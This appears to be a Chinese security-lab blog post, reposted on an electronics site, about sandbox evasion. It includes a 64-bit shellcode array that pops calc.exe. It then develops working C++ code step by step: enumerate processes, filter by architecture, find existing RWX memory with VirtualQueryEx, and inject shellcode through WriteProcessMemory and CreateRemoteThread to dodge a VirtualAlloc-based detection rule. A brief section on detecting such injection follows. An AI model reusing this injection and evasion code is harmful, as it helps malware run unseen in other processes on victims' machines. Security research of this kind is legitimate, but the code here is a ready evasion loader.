0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

如何优雅地绕过函数调用链呢?

蛇矛实验室 来源:蛇矛实验室 2023-08-11 18:24 次阅读

使用场景

在某次实践中碰到一个沙箱,在不知道沙箱强度的情况下只能一点点去探索,程序通过调用ShellCode弹出计算器。丢到沙箱里面进行测试发现被沙箱检测到并且爆出了执行ShellCode的行为。了解过沙箱的朋友都知道,沙箱一般是通过Hook关键API得到调用信息返回给脚本去匹配规则。

解析

#include
#include

unsignedcharbuf[] =
"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50"
"x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52"
"x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4a"
"x4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41"
"xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52"
"x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48"
"x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40"
"x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48"
"x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41"
"x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1"
"x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0c"
"x48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01"
"xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5a"
"x48x83xecx20x41x52xffxe0x58x41x59x5ax48x8b"
"x12xe9x57xffxffxffx5dx48xbax01x00x00x00x00"
"x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8b"
"x6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbd"
"x9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0"
"x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxff"
"xd5x63x61x6cx63x2ex65x78x65x00";


intmain()
{
autoaddr = VirtualAlloc(nullptr, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory((HANDLE)-1, addr, buf, sizeof(buf), NULL);
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL);
std::cin.get();
return0;
}

在这个函数中我们执行ShellCode的调用了三个关键的函数VirtualAlloc,WriteProcessMemory,CreateThread而这三个函数是执行ShellCode或者注入常用的API,这里可以肯定的一点是已经被沙箱挂钩了。所以我们要绕过要不就是脱钩要不就是猜规则的写法找规则的漏洞。

规则

...
iffunc("VirtualAlloc") == True:
iffunc("WriteProcessMemory") == True:
iffunc("CreateThread") == True:
print("执行了ShellCode")
...

func函数中检测钩子输出文件或者从内存信息获取到这个三个函数的触发顺序,现在触发了这条规则,就说明我们目前是在执行ShellCode,因此成为了报毒的一个关键点。

如何绕过

最简单的绕过是使用类似功能的函数进行替代,这里也可能存在一个问题,就是常见的那些函数已经被挂钩了,因为很多沙箱默认就挂钩了很多内存相关的API,如果我们如果只是替换一些函数可能还是会被检测到,当然不排除这些方式可以绕过一些沙箱,单这次遇到的沙箱我测试替换了很多API还是会被检测到。那么我们只能从规则方面去下手了。

我们反过来想一下,我们执行ShellCode就需要先申请可执行的内存,在写数据到内存中,在启动线程去执行数据。那么我们可不可以不申请内存就可以执行。这就是我们绕过不这么健全规则的一种方式。

构造

1. 遍历系统进程

遍历进程的方式有很多中,这里我们选择使用Windows Api进行遍历,具体代码如下:

#include
#include
#include

intmain()
{
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Process32First(snapshot, &processEntry);

do
{
std::cout<< processEntry.szExeFile << "	pid:" << processEntry.th32ProcessID << "
";
  } while (Process32Next(snapshot, &processEntry));

  return 0;
}

7bf4087c-382e-11ee-9e74-dac502259ad0.png

下一步我们要去判断软件架构,为什么要进行这一步是取决于我们的ShellCode是多少位的,这里我的ShellCode是64位,所以要过滤掉32位进程,不然在后续找到可读可写可执行内存的时候我们虽然可以写入到内存,但不能执行起来。

2. 判断软件架构

#include
#include
#include

intmain()
{
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Process32First(snapshot, &processEntry);
HANDLE process = NULL;
LPVOID offset = 0;
MEMORY_BASIC_INFORMATION mbi = {};

do
{
process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID);
if(process)
{
BOOL isWow64 = FALSE;
if(IsWow64Process(process, &isWow64) && isWow64)
{
// 过滤掉32位进程
CloseHandle(process);
continue;
}
CloseHandle(process);
std::cout<< processEntry.szExeFile << " pid:" << processEntry.th32ProcessID << " is 64-bit." << "
";
    }

  } while (Process32Next(snapshot, &processEntry));

  return 0;
}

IsWow64Process(process, &isWow64) && isWow64

新加入的代码中使用IsWow64Process这个API去判断进程是否为64位,如果不是我们就进行下次一循环。如果是我们需要架构的进程我们就要进行下一步判断进程中是否有可读可写可执行的内存让我们去构造ShellCode。

3. 判断进程是否已经有可读可写可执行的内存

#include
#include
#include

intmain()
{
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Process32First(snapshot, &processEntry);
HANDLE process = NULL;
LPVOID offset = 0;
MEMORY_BASIC_INFORMATION mbi = {};

do
{
process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID);
if(process)
{
BOOL isWow64 = FALSE;
if(IsWow64Process(process, &isWow64) && isWow64)
{
// 过滤掉32位进程
CloseHandle(process);
continue;
}
std::cout<< processEntry.szExeFile << "	pid:" << processEntry.th32ProcessID << "
";
      while (VirtualQueryEx(process, offset, &mbi, sizeof(mbi)))
      {
        if (mbi.AllocationProtect == PAGE_EXECUTE_READWRITE && mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE)
        {
          std::cout << "	RWX内存地址: 0x" << std::hex << mbi.BaseAddress << "
";
        }
        offset = (LPVOID)((ULONG_PTR)mbi.BaseAddress + mbi.RegionSize);
      }
      offset = 0;

      CloseHandle(process);
    }

  } while (Process32Next(snapshot, &processEntry));

  return 0;
}

7c323246-382e-11ee-9e74-dac502259ad0.png

这种就是我们可操作的内存,主要使用到的函数是VirtualQueryEx,通过遍历出进程中所有内存,对内存属性进行判断,筛选出我们需要的内存。

4. 写入内存到获取的分块中

#include
#include
#include

unsignedcharbuf[] =
"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50"
"x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52"
"x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4a"
"x4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41"
"xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52"
"x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48"
"x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40"
"x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48"
"x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41"
"x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1"
"x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0c"
"x48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01"
"xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5a"
"x48x83xecx20x41x52xffxe0x58x41x59x5ax48x8b"
"x12xe9x57xffxffxffx5dx48xbax01x00x00x00x00"
"x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8b"
"x6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbd"
"x9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0"
"x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxff"
"xd5x63x61x6cx63x2ex65x78x65x00";

intmain()
{
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Process32First(snapshot, &processEntry);
HANDLE process = NULL;
LPVOID offset = 0;
MEMORY_BASIC_INFORMATION mbi = {};
boolisExecute = false;

do
{
process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID);
if(process)
{
BOOL isWow64 = FALSE;
if(IsWow64Process(process, &isWow64) && isWow64)
{
// 过滤掉32位进程
CloseHandle(process);
continue;
}
while(VirtualQueryEx(process, offset, &mbi, sizeof(mbi)))
{
if(mbi.AllocationProtect == PAGE_EXECUTE_READWRITE && mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE)
{
std::cout<< processEntry.szExeFile << "	pid:" << processEntry.th32ProcessID << "	写入地址: 0x" << std::hex << mbi.BaseAddress << std::endl;
          WriteProcessMemory(process, mbi.BaseAddress, buf, sizeof(buf), NULL);
          CreateRemoteThread(process, NULL, NULL, (LPTHREAD_START_ROUTINE)mbi.BaseAddress, NULL, NULL, NULL);
          isExecute = true;
          break;
        }
        offset = (LPVOID)((ULONG_PTR)mbi.BaseAddress + mbi.RegionSize);
      }
      offset = 0;

      CloseHandle(process);
      if (isExecute)
      {
        break;
      }
    }

  } while (Process32Next(snapshot, &processEntry));

  return 0;
}

这里需要注意的是第一次获取到可用内存的时候就可以退出循环了,避免ShellCode多次执行。

5. 执行ShellCode完成目标

7c51d006-382e-11ee-9e74-dac502259ad0.png

验证内存

7c985756-382e-11ee-9e74-dac502259ad0.png

检测方式

注入检测:这种方式不管怎么绕,都必须要经过的一点,都要通过一个进程去往另外一个进程中去写入数据,而这个行为是很好检测的。遇到这种基本可以直接判定为是恶意软件。

微步检测:触发ATTCK

7cdea454-382e-11ee-9e74-dac502259ad0.png

微步分析出现两个检测总得来说就是进行了注入,规则可能是针对WriteProcessMemory这个函数进行检测。

BOOL WINAPI WriteProcessMemory(

In HANDLE hProcess,

In LPVOID lpBaseAddress,

In_reads_bytes(nSize) LPCVOID lpBuffer,

In SIZE_T nSize,

Out_opt SIZE_T* lpNumberOfBytesWritten);

第一个参数是要被写入数据的进程句柄,这里可以根据句柄去判断出写入的是哪个进程,在与当前挂钩的进程进行对比,从而判断出来是写入到其他进程还是当前进程,如果是其他进程就触发规则‘修改其他进程内存数据’。而这种我们也可以通过前面讲到绕过EDR脱钩来反沙箱钩子,不过这种方式只能绕过三环的钩子,如果是内核钩子我们就需要在0环对抗了。还有就是我们脱钩也是一种很常见的高危行为,常规脱钩大概率是会被直接检测出的。

注入规则的触发是WriteProcessMemory + CreateRemoteThread,如果单纯的去调用WriteProcessMemory触发的是执行远程函数这个规则,应该是针对这两个API去组建了一个新的规则。

总结

本次试验的目的并不是去绕过一款沙箱。主要是要总结经验,去根据不同的引擎和规则针对性的去改变自己的免杀方式,没有哪种方式的免杀是可以永久不杀的,也没有任何沙箱可以百分百检测到各种行为。主要是在于绕过的方式和规则的构建。要多尝试总结出被杀的原因。





审核编辑:刘清

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 过滤器
    +关注

    关注

    1

    文章

    407

    浏览量

    18991
  • Shell
    +关注

    关注

    1

    文章

    358

    浏览量

    22902
  • API接口
    +关注

    关注

    1

    文章

    79

    浏览量

    10315

原文标题:免杀技术之优雅地绕过函数调用链

文章出处:【微信号:蛇矛实验室,微信公众号:蛇矛实验室】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    C语言使用函数调用的知识点

    C语言使用函数调用,我们再熟悉不过了,但是函数调用在内存中究竟发生了什么真的清楚吗?只有搞清楚内存里的内幕,才算完全搞懂函数
    发表于 09-07 11:47 670次阅读

    C函数调用机制与栈帧原理详解

    当一个C函数调用时,函数的参数如何传递、堆栈指针如何变化、栈帧是如何被建立以及如何被消除的,一直缺乏系统性的理解,因此决定花时间学习下函数调用
    发表于 06-08 10:49 565次阅读
    C<b class='flag-5'>函数</b><b class='flag-5'>调用</b>机制与栈帧原理详解

    一文详解python调用函数

    函数被定义后,本身是不会自动执行的,只有在被调用后,函数才会被执行,得到相应的结果。但是在 Python 中我们要注意一个关键点,就是Python不允许前向引用,即在函数定义之前,不允
    发表于 10-01 10:45 232次阅读

    如何查看及更改函数/函数块的调用环境

    模块化设计的思想是把一些相似的功能(比如电机控制、阀控制)设计成函数函数块,这样就可以反复调用。其优点是:使程序架构更加清晰,避免重复编写相似功能的代码。不过可能会产生一个疑惑:既然PLC的程序
    的头像 发表于 11-17 09:08 438次阅读
    如何查看及更改<b class='flag-5'>函数</b>/<b class='flag-5'>函数</b>块的<b class='flag-5'>调用</b>环境

    函数是如何定义的?怎样去调用函数

    函数是如何定义的?如何对函数进行声明?怎样去调用函数
    发表于 02-25 07:41

    C++教程之函数的递归调用

    C++教程之函数的递归调用 在执行函数 f 的过程中,又要调用 f 函数本身,称为函数的递归
    发表于 05-15 18:00 35次下载

    系统调用函数库分析及实例

    作为用户我们极少接触系统调用,但是我们熟悉C 语言,对库函数调用并不陌生。C语言支持一系列库函数调用,而事实上,库
    发表于 06-23 16:46 46次下载
    系统<b class='flag-5'>调用</b><b class='flag-5'>函数</b>库分析及实例

    函数执行完毕后,如何返回调用处?

    函数执行完毕后,如何返回调用处呢?由于该函数可能会被多次调用,且每次调用的地方很可能不一样,这样被调用
    的头像 发表于 09-14 14:27 1.6w次阅读
    当<b class='flag-5'>函数</b>执行完毕后,如何返回<b class='flag-5'>调用</b>处?

    高效的C编程之函数调用

    14.9 函数调用 函数设计的基本原则是使其函数体尽量的小。这样编译器可以对函数做更多的优化。 14.9.1 减少
    发表于 10-17 16:49 6次下载
    高效的C编程之<b class='flag-5'>函数</b><b class='flag-5'>调用</b>

    c#调用matlab函数

    本文档内容介绍了基于c#调用matlab函数,供参考
    发表于 04-19 10:53 23次下载

    C语言函数调用的形式及过程

    C语言函数调用时的数据传递 在调用有参函数时,主调函数和被调函数之间有数据传递关系。
    的头像 发表于 03-10 14:28 1120次阅读

    什么是函数调用

    函数调用,就是使用我们已经定义好的函数,或者C语言自带的库函数
    的头像 发表于 04-04 17:21 4112次阅读

    SCL中调用函数的示例

    在此,可插入函数 (FC) 调用函数块 (FB) 调用函数块可作为单实例、多重实例或参数实例进行调用
    的头像 发表于 06-06 10:18 1347次阅读

    python定义函数调用函数的顺序

    定义函数调用函数的顺序 函数被定义后,本身是不会自动执行的,只有在被调用后,函数才会被执行,得
    的头像 发表于 10-04 17:17 583次阅读

    python函数函数之间的调用

    函数函数之间的调用 3.1 第一种情况 程序代码如下: def x ( f ): def y (): print ( 1 ) return y def f (): print
    的头像 发表于 10-04 17:17 353次阅读